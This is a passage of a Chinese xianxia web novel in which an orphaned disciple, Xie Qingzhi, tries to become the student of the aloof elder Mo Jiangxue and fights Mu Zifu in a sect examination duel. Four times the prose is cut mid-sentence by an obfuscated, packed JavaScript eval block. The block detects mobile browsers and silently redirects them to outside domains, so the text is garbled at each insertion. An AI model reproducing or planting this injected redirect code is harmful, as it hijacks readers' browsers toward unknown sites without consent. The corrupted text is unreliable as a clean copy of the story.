“我也是听忘情掌门说过几句:青松峰的前峰主,七年前与人比武,不胜,将镇派的天璇剑输给了对方。她心气高傲,受不得那份屈辱,气急攻心之下,走火入魔,误杀了丈夫,误伤了女儿,之后自刎而死。她的小女儿流落在外,不知去向,三个月前,忘情掌门才帮忙寻回。” 谢清徵:“我听明白了,与她比武的,是我的娘亲,她的两个女儿,就是沐长老和沐紫芙。” 没想到,还有这么一段曲折的过往。 上一辈,因为一把天璇剑结仇,这一辈,因为一只狐狸结怨,还真是孽缘不浅啊…… 莫绛雪嗯了一声。 谢清徵轻轻叹了一声气,刚想说“她们家的人,气性怎么都这般大”,转念想到,死者为大,便把话吞回了肚中。 还有什么好说的呢,都是和她一样,身世坎坷的人。 只不过沐家姐妹比她幸运一些,彼此之间还可以有个依靠。 谢清徵低声感叹:“我要是也有个姐姐就好了……” 这半个月来,夜间辗转难眠时,她总会想起温家村的那些“人”,想着想着便心酸难耐,还会哭上一哭。 从初一哭到十五,哭得次数多了,眼泪也就哭干了。 结合这些日子在未名峰的所见所学,如今,她总算明白,天璇剑作为璇玑门的镇派宝物,为何会落入到温家村。 七年前,她母亲与人比武,赢得了天璇剑。 后来,温家村起了一场瘟疫,母亲路过,出手施救。 接着,温家村全村的人离奇死去,整个村都被设下了结界,天璇剑被封印在了西山,她母亲也不知因为什么,落了个魂飞魄散的下场,只能把她交托给温家村的鬼魂照料。 再之后,便是莫绛雪受萧忘情所托,破除温家村的结界,解开封印,把天璇剑带回了璇玑门,顺便把她也带了回来…… “长老,您还知道些什么,可以都告诉我吗?”谢清徵问。 莫绛雪摇头:“不清楚了。你可以去问掌门,她知道的更多。” 她在璇玑门的身份是客卿,门派许多秘辛不会告诉她;那些事又都发生在七年前,七年前的她,还在蓬莱修炼。 谢清徵也摇摇头:“掌门肯定会和我说,那些事情说来话长,我听不明白,等我长大再告诉我。” 其实,她隐约能察觉到,很多事情另含隐情,萧忘情不便和她直言,所以才不告诉她。 比如,她在未名峰学习门派起源、镇派宝物等知识的时候,授课的师姐们不会说天璇剑是输给了谁谁谁,只说天璇剑是破邪斩魔的镇派之宝,与‘天权刀’并称为当世最锋利的兵刃,七年前意外遗失,后被魔教的人炼化成了邪剑,每天都要饮人血;再之后,被一位前辈高人封印在了深山里,净化煞气…… 想来,比武丢剑这种事不太光彩,被尊长们隐了去。 萧掌门是个温和厚道的人,背后从不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116230|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语人是非,当着自己的面,只怕她也说不出类似“你母亲不厚道,比武赢了璇玑门的镇派宝剑,不但没看在世交的情面上主动归还,还让魔教的人把天璇剑炼化成了嗜血的邪剑。”的话。 不仅如此,谢清徵还觉得萧掌门是个十分大度的人。 七年前,她母亲拿走了天璇剑,七年后,她流落到璇玑门,璇玑门还能收留她,给她一口饭吃,教她修仙问道。 不是大度是什么? 掌门日理万机,她现在的身份,想见掌门一面也不容易。要想查清过往发生了什么,看来还是得靠自己。 竹林旁的两人一时都没说话。 今夜无星,唯有一轮明月高悬夜空,皎皎月光有如流霜一般倾泻而下,照在莫绛雪的脸上,更衬得她冰肌玉骨。 谢清徵凝视着她姣好的面容,勇气宛如一簇窜燃而起的小火苗,烧得内心跃跃欲试。 她开口争取:“长老,明年的内门考核我若夺魁,你能不能再考虑一下,收我为徒?” 夜风轻拂而过,莫绛雪的白衫衣褶微动,好似水波微漾。 她的神情也仿若那一潭透着寒气的清水,她没有直接回答,而是淡声反问一句:“怎么总想拜我为师?” 谢清徵沉溺在那道清冽的目光中,怔了片刻,才呆呆地道:“我就是觉得,你很厉害,我想和你学厉害的本领,等我学会了,就不会被人欺负了。我可以保护自己,也保护你,保护璇玑门的所有人,还有足够的能力去查清一些事情。” 很简单,很直接,也是大实话。 莫绛雪不说话,盯着她看。 谢清徵视线游移了会儿,嗫嚅道:“还有,我觉得缥缈峰这里的风景也比别处好,山底有竹子,有水潭,山上有细雪,有梅林……” 还有你…… 莫绛雪还是看着她,不动声色。 被这样直勾勾看着,心跳得有些快,谢清徵轻轻叹气:“好吧,风景好是借口,我就是很喜欢和你待在一起的感觉,待在你身边,我会感觉很开心、很安心。但是,但是你要是不喜欢我的话,我也会知道分寸,不会多打扰你的……” 她的话语赤诚真挚又直白,心里想着什么,好像都在那双清澈干净的眼睛里映了出来。 莫绛雪收回视线,目光落向了远处:“我的师门向来一脉单传,一师只收一徒,收徒要看机缘。” 15.拜师(二) * 回到未名峰后,谢清徵结束了念经的晚课,把灵狐安置在了自己的小竹屋中。 一人一狐,共处一室,她想到那狐狸极通人性,便问它:“你是公的还是母的啊?” 灵狐嗷嗷叫了两声。 它不会说人话,谢清徵换了个问法:“你是母狐狸的话,就眨三下眼睛。” 灵狐抖了抖耳朵,温柔地朝她眨眼三下。 她捏了捏它毛茸茸的耳朵:“很好,你可以和我待在一个屋了。” 灵狐又抖抖耳朵,嗷嗷嘤嘤地叫了几声,在屋内四处乱转,这里嗅一嗅,那里蹭一蹭,像是在标记留下自己的气味。 翌日,念经时,谢清徵把小狐狸塞到自己的衣袖里,想让它也多听些经文,跟着自己修身养性。 这狐狸和沐家姐妹一样,是个暴脾气。 吃饭时,谢清徵会把自己的食物分一半给它;她习文学剑,它就在一旁闲逛,和门派的仙鹤吵架、打架,蓬松的狐狸毛还被仙鹤啄掉几撮;夜晚,它睡在她的枕头边上,呼噜声震天响。 真是一点也不拿自己当外人……外狐…… 闵鹤师姐寻了空闲来安慰她,让她别把昨日的事情放心上,还道:“这狐狸是沐长老从岭南万兽山庄带回来的珍种。它灵元受损,七七四十九天后,才能恢复修炼,届时你们可以结契,相伴修炼。” “我和它结契?”谢清徵摇头惶恐,“沐长老会打死我的!” 闵鹤:“放心吧,沐长老和掌门说了,你碰过的东西,她们沐家的人不要了!” 谢清徵:“……” 那我去碰她的笛子她的剑,去把青松峰所有值钱的东西都薅一遍,她是不是也都不要了? * 在未名峰修行的时候,谢清徵偶尔也会听到师姐们提及沐紫芙: 有的师姐说她:“太跋扈了,仗着自己是沐长老的妹妹,胡作非为!明明入门不到半年,名义上算外门弟子,实际上没来未名峰上过一节课;璇玑门人人都是从未名峰历练过来的,就她特殊!” 有的师姐心软:“紫芙师妹也是身世可怜,刚出生不久就没了父母,被一个乞丐捡回去养大,自小流浪街头,乞讨为生。她一个女儿家,如果不凶狠些,在乱世中怎么活得下来?她们姐妹失散多年,沐长老多疼一疼她也是应该的。” 谢清徵默默听着,没有说沐紫芙什么。 她其实有点羡慕沐紫芙。 羡慕沐紫芙如今有至亲常伴身侧,照顾她,管束她,维护她。 羡慕她修行路上有人指引,心法口诀招式,沐长老会手把手教她、指点她。 但人各有造化,这些东西,羡慕不来。 谢清徵也不是特别擅长记仇的人,比起评价沐紫芙如何,她更愿意去记住那些对她好的人。 距离明年三月的内门考核,还有一年的时间。 沐紫芙有沐长老手把手指导,修为必然弱不到哪儿去。 考核还没正式到来,就多了这么一个难缠又强劲的对手,谢清徵不敢松懈,日日夜夜,勤修苦练。 青松峰她是去不成的,就算沐长老“不计前嫌”,她也万万不敢去,除非她嫌命太长。 她最想去的还是缥缈峰。 莫绛雪的那句“收徒要看机缘”,虽然不算是明确的答应,但也不是明确的拒绝,这就说明,还是有拜师希望的! 她是个有点执拗的人,一旦认定了一个目标,便会想方设法地去完成它。 她想拜莫绛雪为师,哪怕只有一丝一毫的可能性,她也会奋不顾身地去争取。 * 山中无甲子,岁尽不知年。 一年时光,晃眼即过。 又是一年早春二月,未名峰上少了些嬉闹,人人都在抓紧时间练习,准备下个月的内门考核。 沐紫芙没再来找她的麻烦,彼此相安无事地过了一年。 这一年里,莫绛雪总是在闭关疗伤,短则半个月,长则大半年。 谢清徵有分寸,知道莫长老喜欢清静,平日不会过多打扰,只是每个月按时去一次碧水寒潭疗毒。 灵狐事件后,两人没再相遇。 不知为何,见不到莫长老的时候,谢清徵总会在心里细细咀嚼回味彼此相处时的一举一动。 倘若那些回忆是一张纸,此刻可能已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13127903|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经被她揉搓得皱巴巴。 或许,是拜师的执念吧…… 二月初二这天,花朝节,未名峰张灯结彩,摆满各种花卉。 花朝节是庆祝百花生日的节日,也称“女儿节”。 璇玑门是方外之地,本没有过花朝节的传统,自从闵鹤接管未名峰后,才开始举办花朝宴。 这一天,未名峰的女修们不必念经打坐练剑。 游春扑蝶、剪笺赏红、燃放花灯……可以痛快地玩上一整天。 爱凑热闹的内门师姐也会过来,弹琴奏箫、鼓瑟吹笙,同外门的师妹们聚在一起吃花糕、行酒令。 玩到子时,花朝宴方才散去,谢清徵掰着指头数了数,该去碧水寒潭疗毒了。 她踩上剑,带着七分醉意,从未名峰飞往缥缈峰。 修炼达到内窥的境界后,她能看见自己的五脏六腑被一团黑气包裹,她在碧水寒潭那边吸纳的灵气,顺着经脉穴道运行几个大周天,那些黑气便能消除一些。 一年之期已到,过了今晚,她体内的毒素便能消除殆尽。 内门考核后,莫绛雪若还是不愿收她为徒,那今晚,应该是她最后一次出现在碧水寒潭。毕竟,身体痊愈后,她就再没有理由来这里了…… 思及此,心中一涩,一不小心忘了凝气,身子陡然从剑上跌落! 耳畔风声呼啸,身体每一寸皮肤都好似被风割得生疼,险些便要摔成肉酱,情急之下,她掐了个御风诀,减缓下坠的速度,落地时一个踉跄,勉勉强强扑倒在地。 好险好险,没有摔断腿。 好巧不巧,扑跪在了一双靴子旁,视线顺着雪白的靴子抬头看去,正对上一双清寒眉目。 莫绛雪垂下眼睫,与谢清徵对视三秒,颔首道:“免礼。” 跪拜乃是大礼。 她现在又没收自己为徒,自己行此大礼作甚? 谢清徵立刻就要站起,奈何高空坠落感如影随形,双腿依旧不争气地发软。 站不起来,她只好慢慢调转膝盖的的方向,不跪莫绛雪,跪在一颗竹子旁,抱住竹子,默默委屈。 怎么每次见面她都这么狼狈…… 16.拜师(三) * 过了好一会儿,谢清徵缓过神来,站起身,行了个揖礼,轻声道:“长老,好久不见。我是来疗毒的……” 莫绛雪坐在碧潭边上的茶桌旁,给自己斟了杯茶,嗯了一声,并不多言。 谢清徵借着几分醉意,怼脸过去,大胆问道:“长老,你看我,是不是比一年前高了不少?” 莫绛雪瞥了她一眼,仍旧是冷淡地嗯一声。 是比初见时高了许多,不再是瘦骨伶仃的病弱模样,在未名峰教养一年,褪去几分懵懂,越发显得人如芝兰,额前一抹朱砂,黑白二色道袍,更添三分清逸出尘。 喝了酒,面色有些红润,眼神有些迷离,话也变更多了: “嗯我突然想到,我娘是天枢宗的人,如果最开始我被送去了天枢宗,你会不会亲自去天枢宗接我来疗毒啊?” 天枢宗远在长安城外,而缥缈峰在东海之上,两地相隔千里有余,她们这些前辈高人,御剑而行,一盏茶功夫便到了,而自己刚入门时御剑术使得磕磕绊绊,一不小心还跌下来过,她总不能让自己慢慢飞过来吧。 莫绛雪觑她一眼,道:“不接,自己飞。” “那那那,我要是飞一半摔死了怎么办?” “那就让天枢宗的人为你收尸。” 谢清徵沉默片刻,笑了笑,道:“我不信!最开始你肯定会来接我,就算你不来,也会派璇玑门的仙鹤来!” 她之前觉得门派的仙鹤好吃懒做、喜欢捣乱,不知养来做什么,直到某天,看见它们驮着几个受伤的师姐回门派,才知道还有这用处。 莫绛雪没有接话,给她斟了一杯茶,试图让她醒醒酒。 被自己说中了,谢清徵又是微微一笑,她见好就收,不再纠缠这个话题,转而絮叨:“掌门说,天枢宗的谢宗主,是我娘的师妹。不知道她为什么不肯把我接去天枢宗,而是让我留在璇玑门。璇玑门……璇玑门其实挺好的,我喜欢这里……” 她絮絮叨叨,同莫绛雪闲聊这一年来的所学所闻: 什么刚开始学御剑飞行时不小心摔下来过,腿折了半个月; 小狐狸的灵元修复可以同她一块修炼了,它喜欢在月光下修炼; 璇玑门的师姐都很照顾她这个最晚入门的小师妹…… 总而言之,就是过得还不错、很开心。 适逢乱世,门派里收留了许多落难的孤女,师姐妹之间互相关照爱护,平日里一同练剑修行、嬉笑玩闹,便好似同胞姊妹一般。 她没了七岁以前的记忆,整个童年都是在寥无人烟的温家村度过,还从未感受过这般热闹温馨的氛围。 她不知道别家门派的师姐妹是如何相处的,反正,在璇玑门中,她感受到最多的是温暖。 她很感激莫绛雪把她带回了璇玑门,也很感激掌门收留了她。 说到最后,谢清徵问莫绛雪:“下个月的内门考核,你会过来吗?” 莫绛雪点头:“会。” 她的话不多,但旁人同她说话的时候,她总会注视对方眉心,认真倾听。 冷淡却不失涵养的一个人。 谢清徵小心翼翼提醒:“那说好了的,我若夺魁,你就要看一下有没有收徒的机缘喔。” 她学东西很快,师姐们传授的剑招,往往演示一两遍,她就能全部记住。 闵鹤师姐每个月都会来未名峰组织模拟对战,这一年来,她始终都能名列三甲。 她白天练,晚上也练,几乎到了废寝忘食的地步。 莫长老是仙门名流,是修真界一等一的高手,想要成为这人的徒弟,她不敢不努力。 “你话太多了。”莫绛雪不置可否,指了指碧水寒潭,命令她,“去疗毒。” 谢清徵喔了一声,喝下杯中茶水,淡淡梅香冲去了几分醉意。 她走到碧水寒潭边,静坐,炼气。 玄门修炼,第一阶段便是炼气筑基。 即吸纳天地灵气,化为己用。 碧水寒潭这里的灵气远比未名峰充沛,在这里打坐一晚,抵得过在未名峰打坐十晚。 但灵气也不是越多越好,她目前的身体,就像一条涓涓细流,若是涌来洪水般的灵气,自身非但不能尽数容纳,反而会被冲得七零八落,因此还需循序渐进。 翌日,谢清徵从入定状态中醒来,已不见莫绛雪的身影。 她仰头望向山顶,忽然有些恍惚,昨晚,究竟是她醉后的一场梦?还是真的见到了那个人? 望了好一会儿,她才依依不舍地收回目光,御剑飞回未名峰。 * 考核还没正式到来,已经有不少师妹着急忙慌,向闵鹤师姐打探:“如果最后没通过考核,会怎么样啊?” 闵鹤道:“往年通过考核的,最多只有三分之二,剩下那三分之一的人,要么下山当散修去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13139165|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了;要么等三年后,再参加一次考核;再要么,另辟蹊径,当杂役去了。” 师妹们啼笑皆非:“前两个还说得过去,可——当杂役?” 闵鹤说话风趣:“是啊,当杂役,搏一搏赌一赌,看看端茶倒水送东西的时候,会不会时来运转,得到门派某位前辈的青睐,直接被收入门下咯。” 师妹们笑作一团,谢清徵也哑然失笑。 她要是没能通过考核,去缥缈峰做杂役,不知道莫绛雪肯不肯要? 三月初一,内门考核正式到来。 考核的场地设在未名峰,除了外出执行任务的修士,许多人都会过来凑热闹。 两三千人聚集在未名峰上,师姐师妹地喊成一片,交谈声、嬉笑声此起彼伏。 周围的同门,热火朝天讨论考核后的去处,有的想去缥缈峰,有的想去紫霄峰,还有的想去青松峰: “我听师姐们说沐长老脾气不太好,但她对自己人很好!” “还有水云峰的蓝昧长老,是沐长老的至交好友,都是护短的性子,只不过她经常外出云游,不怎么收徒。” “我要去学琵琶!赤霞峰的丹姝长老为人风趣随和,又弹得一手好琵琶……” “千万不要去绝情峰,听说金肃尘长老严厉又古板!” …… “咚咚咚——”未名峰的钟声响了九下。 场上瞬间鸦雀无声,众修士敛声屏气,抬头看去,见六名女子御剑飞来,衣袂飘飘地落在擂台边的高座上。 座位正中央是掌门萧忘情,左下方是客卿长老莫绛雪,右边依次坐着沐青黛、丹姝、金肃尘、蓝昧四大长老。 未名峰上,所有修士的目光都情不自禁地集中在客卿长老身上。 她一袭白衣,如风拂玉树,白衣之上的那些红色暗纹,犹似丹顶鹤身上的那一抹赤红。 她的容貌被白纱帷帽遮得严严实实,众修士分明只能看清她的绰约身姿,却仍是痴痴地望着她,只觉她那缥缈出尘的气度,不似凡尘中人,倒像是飞升上界的神祇。 谢清徵站在人群之中,抬头仰望那道清冷出尘的身影。 这一瞬间,她忽然觉得自己渺小得就像是江河中的一粒小水滴,只能远远地仰望那轮高高在上的明月。 明月偶然将身影投到了江水之中,她却天真地以为自己可以伸手触及。 自己当真可以拜她为师吗? 17.拜师(四) * 开幕典礼后,考核正式开始。 第一天是文试。 她们的开山祖师是个女道士,流传下来剑招和心法口诀都是化用自道教典籍,所以要考《道德经》《南华经》《冲虚真经》等经书。除此之外,还需要熟悉其它各大派的起源发展、心法招式、门派标志和服饰等内容。 谢清徵记性好,这些对她来说都不算什么。 第二、三、四天,论剑大会,是为武试。 论剑大会以抽签的方式进行,谢清徵抽到的第一个对手,是地字班的同门师姐。 她们璇玑门的师姊妹,平时虽然经常聚在一块嬉笑玩闹,但在正式场合中,却不能废了长幼规矩。 擂台上,谢清徵主动行礼,对打时,礼让师姐三招,以示尊敬,然后才进攻。 她入门最晚,这一路打过去,都是她的师姐师兄,她都得礼让一下。 只怕要等下一批新人入门,她才能被唤上一声“师姐”,受用受用。 最初几局,谢清徵赢得还算轻松,三十招之内就可以分出胜负,可越往后越艰难,等到她杀进四强赛时,已经需要拆上百招方能分出胜负。 “好身手!” “清徵师妹,这一招有凤来仪使得不错!” “哎看样子她又要赢了!” “铛”的一声响,对面师姐手中的剑落地。 师姐无奈一笑,拱手道:“打得痛快,小师妹,我技不如人,甘拜下风!” 同门切磋,点到为止,有一两分胜败就须停手。 谢清徵收势,打个稽首道:“师姐,我只是险胜一招,承让了!” 她生了一张很讨巧的脸,看上去没有丝毫的攻击性,并非莫绛雪那般令人一见难忘的清冷出尘,却如出水芙蓉一般,清澈温雅。 擂台下围观的修士见她容仪如玉,温文守礼,没有不心生好感的。 可好感归好感,最后一轮决赛,众修士设赌局下注时,也几乎没有人押她赢。 因为她的对手是沐紫芙。 “那可是沐长老的妹妹!唯一的亲妹妹!” “我听说这一年多都是沐长老亲自教她!” “一百块灵石,压紫芙师妹赢!” “价值一千灵石的剑,压紫芙师妹赢!” …… 一片下注声中,谢清徵抬头望向莫绛雪所在的位置。 微风拂过,白纱晃动,白纱下的脸庞若隐若现,将露未露。 仿佛一根羽毛轻飘飘地落在了心弦上,挠得人心痒痒,谢清徵油然而生一种异样感,收回了目光,望向沐紫芙。 沐紫芙站在青松峰修士的队列中,神情倨傲,有恃无恐,见谢清徵看过来,她霎时笑靥如花,整张脸都变得明媚起来。 谢清徵一阵无语。 笑这么开心,不知道还以为她见了小情人呢。 要不是知道这个小煞星笑得越是好看心中想法越是狠毒,谢清徵当真也会傻乎乎地回笑一下。 最后一轮决赛,她确实没有必胜的把握。 她和沐紫芙之间夹杂着上一辈的恩怨纠葛,沐紫芙的求胜之心绝不比她低。 高座之上,萧忘情欣慰道:“这一批新人里倒有几个好苗子。” 丹姝长老起了收徒之心:“我看剩下的两位都是百里挑一的可造之材,不论谁输谁赢,芙儿自然还是跟着沐峰主的,那个清徵,不如就随了我吧。” 沐青黛幽幽道:“阿芙她爱跟谁就更谁,也不能一辈子跟在我身边。” 沐家人向来矜傲,众人深知沐青黛的脾性,心中皆想:“除了你谁还能镇住那个小煞星啊?”嘴上却笑呵呵说着客套话,什么“青出于蓝胜于蓝”“沐家的嫡系传人,一代更比一代强”“芙儿骨骼不俗,必能一举夺魁”。 沐青黛听得很是受用。 她心知沐紫芙是个顽劣蛮横的草包,可她就只剩下这么一个亲人了,平日里,她恼她,骂她,却从舍不得打她,豁出全部心血,也要将毕生所学传她,好让她从此不受任何人的欺负。 一年过去,总算把她调.教得人模人样了。 萧忘情令闵鹤端来两个盘子,盘子上放着沐紫芙和谢清徵的身份玉牌。 “各位,可以下注了。” 每届内门考核,她们几个都喜欢小赌怡情一下。 沐青黛道:“今年我就不赌了。” 她要避嫌。 三位长老看在沐青黛的面子上,纷纷下注沐紫芙赢。 其实也不算完全给面子,而是实打实地相信—— 哪怕沐紫芙再脓包,有沐青黛精心栽培,实力也弱不到哪去。 就好比说,那个小谢姑娘打到后面看上去已经有些吃力了,而沐紫芙还是一派轻松的模样。 萧忘情拿过一个扇坠,下注谢清徵:“既没人选这个孩子,那我便押她赢。” 三位长老心知肚明,这倒不是掌门不给沐青黛面子,也不是掌门觉得沐紫芙不如那位小谢姑娘,而是掌门心善,不忍心见那位小谢姑娘没人下注。 三比零,相对三比一,自然是后者好看些。 盛有谢清徵玉牌的盘子上,忽然多出了一枚玉佩。 放下玉佩的那只手,白皙,修长,骨节分明,是一双很适合弹琴的手。 众人将目光转向那只手的主人。 莫绛雪端起一杯茶,抿了一口,慢条斯理道:“我也押她赢。” 午时三刻,决赛开始。 擂台下围得水泄不通,擂台之上,两名少女,一个温婉如玉,一个娇俏艳丽。 谢清徵按规矩行礼。 沐紫芙敷衍回礼,随后刷的一声响,拔剑出鞘,径直向谢清徵刺去。 谢清徵举剑格挡,避让三招。 霎时间,场上满是剑气破空之声。 这次的内门考核,沐青黛特意让沐紫芙换掉了上品仙剑,只用普通铁剑和同门对战。 沐紫芙虽不太情愿,但按沐家的规矩,实力过于悬殊的对手,打赢了也不光彩,她只能照做。 刚一交手,谢清徵就明显感觉到自己处于下风。 她使出的是璇玑门的入门剑招,招式轻巧敏快。 而沐紫芙使出的那些剑招,凌厉迅疾,每一招每一式,都往她身上的各处要害招呼。 她在剑招上讨不到巧,全凭一身修为左闪右避,勉强守御。 拆了五十招之后,她依旧没有反击。 擂台下的一众修士,看得倒吸一口凉气:同门切磋,向来点到为止,哪会像沐紫芙这般下手狠辣?清徵师妹使出的剑招全是守势,看上去没有丝毫反击的能力,这场怕是要输得彻彻底底…… 之前对战别的同门,沐紫芙倒不会使用这些招式,但决赛的对手是谢清徵。 她记得谢清徵会天枢宗的功夫,那自己使用沐家的家传剑法,也不算辱没了沐家家风。 谢清徵被沐紫芙打得步步后退。 恰在此时,沐紫芙听到了场下修士的窃窃私语声,她嘴角一撇,面露不屑之色,却也不再步步紧逼。 她自觉稳操胜券,收敛了几分剑气,有心卖弄,使出一套沐家家传的“玉笛暗飞”。 这套剑法是沐家先人从笛声中领悟而来,施展起来宛如依依杨柳中,闻得春风送笛声,霎是风流恣意。 场下修士纷纷发出惊艳赞叹声,倒揭过了她下手狠辣的那一茬。 高座之上的沐青黛,斜眼看向莫绛雪,正想开口讥讽一两句,主位上的萧忘情递过来一个笑吟吟的眼神,她便忍住了。 她不和那个爱端架子的冰块多计较。 反正胜负已明,再打下去,结果可想而知。 又拆了几百招,谢清徵依旧只能勉力支撑。 心如擂鼓,咚咚作响,汗水和血水浸湿了后背,她将剑舞得密不透风,却还是被沐紫芙的剑气所伤,黑白色的长袍逐渐染上星星点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13161376|138002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的红,胳膊、手腕、脸颊……到处都是伤口。 体力、真气在一点点消耗,她的速度肉眼可见的慢了下来。 沐紫芙似是有意折磨她,明明有一两次,有机会直接打落她的剑,却偏偏放过了她,似是有意拖长战局,要痛痛快快地打她一顿出气。 这正合她的意。 “玉笛暗飞”这套剑法使出来虽然好看,但观赏性大于实战性,施展起来远远不如适才那般凌厉迅疾,每次切招时,还会有一个短暂的僵直。 谢清徵敏锐地捕捉到了这一点破绽,暗自盘算反击。 沐紫芙使出一招“散入春风”,一剑直刺而出,谢清徵斜身闪开,沐紫芙变招,拦腰横削,剑锋堪堪擦过谢清徵的腰间。 正是这千钧一发之际,谢清徵纵身跃起,如同灵燕穿云,不仅避开了这一击,还借着沐紫芙力量回收的空档,反手一剑,剑气挥出,打向沐紫芙的手腕。 “铮”的一声响,一柄长剑被打落在地。 围观人群“啊”的一声,情不自禁叫了出来。 谢清徵从一开始就在单方面挨打不还手,这一招反击出乎所有人的意料。 高座之上的沐青黛蹭一下站起身,怒骂:“蠢货!” 谢清徵浑身是血,左脸颊上还有两道被剑气划破的伤痕,她以剑指地,身子微微晃了晃,似要倒下。 她隐忍几百招,被打得浑身是伤也不反击,只是为了使出这攻其不备的一招。 刚一交手她就察觉到了,正常你来我往的对打,她根本打不赢沐紫芙,只好赌一把,用上骄兵之计。 沐紫芙骄纵自大、心性浮躁,谢清徵只守不攻,便是想让沐紫芙放下戒备。 但她只有一次出其不意攻其不备的反击机会,一次不成,沐紫芙便不会再托大,只会对她下死手。 所幸,一剑定乾坤,成功了…… 围观的一众修士回过神来,鼓掌喝彩。 谢清徵转身向擂台下的方向一揖,然后回身去看沐紫芙,颔首道:“承让。” 沐紫芙满脸怒容,她的右手手腕被剑气所伤,有一道鲜明的红痕。 “还没结束!让什么让?我不用剑也能打败你!” 话音刚落,空中忽然传来数道剑气破空声,谢清徵抬起头,脸色一变,踉跄后退。 只见半空中数十把灵气凝化而成的气剑,齐齐向她所在的位置飞来。 这是青松峰的“万剑归宗”! 已经分出一分胜负,本就该停手的! 围观人群炸开了锅,七嘴八舌嚷嚷起来: “清徵师妹,当心!” “紫芙师妹,同门切磋,点到为止!你怎么能这样啊?!耍无赖输不起吗?” “这是论剑决赛又不是切磋!当然不能点到为止!清徵师妹只是侥幸赢了一招半式,紫芙师妹还没拼尽全力,怎么算输?” “你们青松峰的人还真是霸道啊!就算理亏也要强词夺理去维护吗?!” “他们这是拍马屁!向着沐紫芙说话,讨好沐长老呢!” “什么拍马屁?我们是实话实说!正常情况下清徵师妹就不会赢!本来论剑大会谁能夺魁就是凭实力说话,不是凭运气说话!要是遇到了魔教中人,魔教中人会和你点到为止吗?” …… 擂台旁,负责仲裁的两位师姐对视一眼,心中均暗骂一声荒唐,转眼看向萧忘情,却见萧忘情好整以暇,静静观看,没有半分要阻止的意思。 闵鹤焦急又为难,不是该示意停手吗?难道还要放任让她们打下去? 沐青黛冷哼一声:“丢人现眼的东西!”她朝萧忘情道:“阿芙输了,掌门,喊停吧。” 萧忘情微笑道:“芙儿只是一时大意,输赢也只是一时的,再看看吧,我想看看她们的潜力能发挥到什么地步。” 沐青黛道:“别怪我没提醒,她的真实水平远不如阿芙,再打下去,阿芙就要把她打死了!” 18.拜师 (五) * 萧忘情道:“有我们在,她们还不至于伤及性命。” 沐青黛转眼看向莫绛雪。 莫绛雪不动声色,只是抿了一口茶水,似乎并不关心场上两人的死活。 气剑如虹,呼啸而至。 谢清徵脚踏罡步,迅速掐诀,凝结真气于指尖,幻化出一面水帘般的护盾,挡在身前。 “嘭嘭嘭!” 一道道气剑撞上护盾。 每一击碰撞,都搅得她体内气血剧烈翻涌。第三击之后,终是抑制不住,喉咙里涌起一阵腥甜,一口鲜血喷出。 她本就被打得浑身是伤,真气几近枯竭,根本无力反击,只能强撑着一口气抵御。 再强撑下去,只怕不是重伤,便是身死…… 要认输吗? 这个念头在脑海一闪而过,接着被强烈的不甘淹没。 她明明打落了沐紫芙的剑,为什么不能判她赢? 凭什么沐紫芙可以被特殊对待?就因为沐紫芙是沐青黛的妹妹吗? 为什么?凭什么?她实在想不通! 委屈、愤懑、失落、不甘……种种激烈情绪涌上心头,攒成了一股怒火,烧得她胸口气血翻涌,鲜血不受控制地从唇边溢出。 谢清徵望向莫绛雪所在的方位,心中又是一片苦涩。 是不是没有机会拜她为师了? 耳畔嗡嗡作响,视线逐渐模糊,又一道气剑袭来,脆弱的屏障彻底破碎,指尖再也凝聚不出半点真气抵挡,谢清徵轻叹一声,闭上眼睛。 预料之中的痛楚并未到来,耳畔倏地听闻一道凌厉的剑鸣,犹如龙吟虎啸,震颤心魄。 谢清徵遽然睁眼,瞳孔中映出一把利剑。 那剑全身布满黑色的纹路,自空中疾驰而来,剑气凛冽,以迅雷不及掩耳之势,轰然撞碎了擂台上交织如网的气剑。 霎时间,尘土飞扬,气浪四溢。 擂台四周的修士均被突如其来的剑气震得踉跄后退,定睛看去,无不瞠目结舌。 竟是天璇剑! 